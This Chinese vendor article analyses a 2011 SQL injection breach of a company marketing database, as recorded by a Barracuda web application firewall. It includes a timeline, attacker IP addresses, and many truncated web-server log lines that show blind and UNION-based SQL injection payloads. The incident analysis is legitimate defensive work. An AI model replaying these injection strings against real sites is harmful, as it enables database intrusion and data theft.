网络通信 频道

梭子鱼WEB防火墙数据防泄露实战案例

  【IT168技术】引言

  在如今这个Web 攻击已经实现自动化的时代,管理员对网站的安全保护不能有丝毫松懈。2011年4月9日,置于“被动模式”(只监控对网站的访问)的梭子鱼Web应用防火墙详细记录了黑客侵入一家公司市场部数据库的全过程。分析显示,该次攻击最有可能是那些犯罪意图不明显的灰帽子黑客所为。本文将具体探讨数据泄露是如何发生的,我们获得了哪些启示,以及梭子鱼Web应用防火墙会如何阻止正在进行的应用层攻击并有效防止进一步破坏。

  Web 应用的设计保证了数据能够透明地穿过网络防火墙,因此传统的四层网络防火墙无法检测并阻止七层(应用层)的攻击;然而,许多组织都还没有充分意识到四层安全措施已经不能满足当前的需求,从而使得这些组织极易受到针对各种应用的攻击。

  不管动机如何,针对 Web 应用的攻击,尤其是 SQL 注入攻击,都被证明是渗透网络并窃取数据的最有效途径:

  •    Web 应用攻击仅占全部数据泄露事件的 54%,但被窃取的数据占92%
  •    SQL 注入攻击仅占 Web 应用攻击的25%,但是被窃取的数据占89%

  数据泄露事件说明

  此次数据泄露事件的主要原因有以下几点:

  1. 网站的PHP 代码存在错误

  2. 原本应定期进行的代码漏洞扫描被忽略,导致没有及时发现PHP代码问题

  3. 网站维护人员没有开启梭子鱼Web应用防火墙的安全防护功能

  对有漏洞的代码未加以保护,受到攻击只是个时间问题。根据梭子鱼Web应用防火墙的记录和报告,攻击是这样发生的:

时间

描述

2011-04-10 00:07:59 GMT

第一个IP开始对网站主页进行探测

2011-04-10 00:16:15 GMT

攻击者在尝试了175URL后找到了存在漏洞的URL,开始探测数据库

2011-04-10 03:10:43 GMT

第二个IP地址开始对存在漏洞的URL进行探测

2011-04-10 10:10:00 GMT

攻击开始,黑客试图检索数据库用户

2011-04-10 10:16:00 GMT

攻击者放弃针对用户的攻击,转而尝试获取数据库的列表(list)和架构(schema)

2011-04-10 10:19:00 GMT

攻击者开始盗取数据

2011-04-10 17:30:00 GMT

我们发现了网站被攻击

2011-04-10 17:37:00 GMT

我们发现梭子鱼WEB应用防火墙针的防护功能没有开启

2011-04-10 17:39:59 GMT

我们开启梭子鱼WEB应用防火墙的防护功能, 此后没有再发现任何攻击行为发生

2011-04-10 21:00:00 GMT

源自这些IP地址的攻击不再进行停止

  数据泄露事件具体过程

梭子鱼WEB防火墙数据防泄露实战案例

  通过梭子鱼Web应用防火墙的日志,我们确认非法用户使用了两个客户端对网站进行探测和攻击:

  使用梭子鱼Web应用防火墙报告的信息,我们能够迅速在Web服务器日志上过滤并查找到相应的记录条目。

  2011-04-10 03:19:17 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=99%20and%20”x”=”x 80 - 87.1

  2011-04-10 03:19:17 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:18 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=98%20and%20”x”=”x 80 - 87.1

  2011-04-10 03:19:18 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=97%20and%20”x”=”x 80 - 87.1

  2011-04-10 03:19:19 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:21 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:24 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:26 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:28 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:31 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:32 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:33 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:37 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:39 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:41 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:46 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:48 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:48 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:49 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:51 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:51 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:52 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:53 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:53 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:54 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:54 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:54 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info

  2011-04-10 03:19:55 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:57 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:57 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:19:57 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  注:Web 日志使用的是格林威治标准时间(GMT),而 Web 应用防火墙使用的是太平洋夏令时(PDT)

  通过仔细查看梭子鱼Web 应用防火墙的每个日志条目,我们找到了攻击者及其所用工具的线索:

梭子鱼WEB防火墙数据防泄露实战案例

  发现漏洞

  第一次攻击的开始时间为4月9日下午5:07,攻击者的IP地址为 115.134.249.15,来自马来西亚的吉隆坡,该日志条目证实了认为攻击来自马来西亚的在线报告。我们还注意到,攻击者用以探测 Web 网站SQL 注入缺陷的是White hats设计的渗透工具的一个修改版;相关的日志条目报告显示,负责此次攻击的黑客团队频繁进入White hat在线社区。我们在Web 服务器日志上也发现了相似的条目。这些日志条目还让我们跟踪到攻击者尝试了哪些攻击以及在我们的后台系统上成功进行了哪些攻击。

  ex11041000.log:2011-04-10 00:17:18 GET /ns/customers/customer_verticals.php v=11 80 - 115.134.249.155 Mozilla/4.0+(compatible;+MSIE+7.0;+W

  ex11041000.log:2011-04-10 00:17:20 GET /ns/customers/customer_verticals.php v=-9.9 80 - 115.134.249.155 Mozilla/4.0+(compatible;+MSIE+7.0;+

  ex11041000.log:2011-04-10 00:17:22 GET /ns/customers/customer_verticals.php v=11%20and%201=1 80 - 115.134.249.155 Mozilla/4.0+(compatibl

  ex11041000.log:2011-04-10 00:17:24 GET /ns/customers/customer_verticals.php v=11%20and%201=0 80 - 115.134.249.155 Mozilla/4.0+(compatibl

  ex11041000.log:2011-04-10 00:17:25 GET /ns/customers/customer_verticals.php v=11’%20and%20’x’=’x 80 - 115.134.249.155 Mozilla/4.0+(compati

  注:Web 日志使用的是格林威治标准时间(GMT),而 Web 应用防火墙使用的是太平洋夏令时(PDT)

  我们现在知道,第一个攻击者使用自动工具逐步遍历网站,并对每个允许输入的参数项注入一系列 SQL 命令,查找可能的漏洞。SQL 注入工具于下午 5:16 找到了第一个漏洞,但没有继续深入该网页;下午 8:10,IP地址为 87.106.220.57 的第二个客户端加入了攻击行列。经追踪发现,第二个IP地址的服务器在德国,但尚不清楚该服务器是一个代理,还是第二个攻击者。梭子鱼WAF同样记录下了来自第二个IP地址的活动。

梭子鱼WEB防火墙数据防泄露实战案例


  以下是相应的 Web 服务器日志:

  2011-04-10 03:14:11 GET /ns/customers/customer_verticals.php v=12”%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,

  2011-04-10 03:14:11 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:14:12 GET /ns/customers/customer_verticals.php v=12”%20and(select%201%20from(select%20count(*),concat((select%20(select%2

  2011-04-10 03:14:12 GET /ns/customers/customer_verticals.php v=12”%20and(select%201%20from(select%20count(*),concat((select%20(select%2

  2011-04-10 03:14:14 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%

  2011-04-10 03:14:14 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((database()))<32%20and%20”x”=”x 80 - 87.106.220.57 M

  2011-04-10 03:14:15 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((database()))<16%20and%20”x”=”x 80 - 87.106.220.57 M

  注:Web 日志使用的是格林威治标准时间(GMT),而 Web 应用防火墙使用的是太平洋夏令时(PDT)

  从梭子鱼Web应用防火墙的日志发现,攻击者似乎利用了第二个客户端对已发现的漏洞进行了手动攻击,而主要攻击仍然集中在继续对Web 站点进行扫描,以获取其它漏洞。最终,攻击者们集中力量攻击非主页的一个WEB 页面上的一行弱代码,其输入参数并未进行控制审查。以下是那段代码:

   //获得用户输入

  因未对输入值进行限定,该代码错误让攻击者们得以向 HTML的输入参数进行注入 SQL 命令来攻击后台数据库。

  网站开发者们被告知绝对不要信任用户的输入;所有的用户输入在发送到后台服务器之前必须进行审查。然而,通过上述案例,你可以发现仅仅用眼睛很难发现所有的代码错误。这就是为什么除了必要的防范性代码设计以外,梭子鱼公司还使用漏洞扫描工具和Web应用防火墙设备来为可能的缺陷提供保护。由于自动式扫描攻击的存在,在一个含有成千上万条代码的 Web 站点中,只要有一个简单的错误就能让攻击得逞。我们添加了一条代码,对受影响的页面上的输入进行限定审查,以保护未来的可能攻击。

  $parameter = @is_sanitized($_GET[‘parameter’]) ? $_GET[‘ parameter ‘] : 0;

  

  从漏洞到数据泄露

  攻击者们发现了存在漏洞的页面后,就企图窃取数据库用户账号。在接下来的 10个小时里,攻击者们尝试了数种方法来强行闯入后台数据库,但是每次都以失败告终。上午3:06,攻击者们改变了策略,集中攻击后台数据库Schema。事实证明,这是个有效的决定。到 3:19am,攻击者们已经窃取了第一批电子邮箱账号。

  网站管理员在10:30am 发现网站被攻击,并于10:39am将梭子鱼Web应用防火墙切换到ACTIVE模式开启保护,阻止了来自 IP 地址为 115.134.249.15 的所有后续攻击。接下来的数小时里,攻击者们继续对剩下的 Web 页面进行定时攻击,从梭子鱼Web应用防火墙设备将所有这些攻击拒之门外。从攻击文件证实了我们的结论,即:攻击者们使用了一种自动扫描渗透工具,大范围地注入 SQL 命令。最终,攻击者们从两个攻击IP地址总共对 175 个URL 发送了 110,892 个 SQL 注入式命令,其频率为每分钟 42次。

  我们在追踪梭子鱼Web应用防火墙上的防火墙日志和访问日志时,确定攻击者们窃取了市场部数据库中的两套记录,包含 21,861 个用户名和电子邮件记录。因为这两套记录还存在副本,并且当中有许多用户已离开原先的公司,所以受影响的用户数比被窃取记录的总数要小得多。

  任何数据泄露都是严重的问题。尽管实施这次攻击的黑客们似乎并无恶意,但是类似的泄漏数据,可能被用来对受影响的用户进行钓鱼攻击。

0
相关文章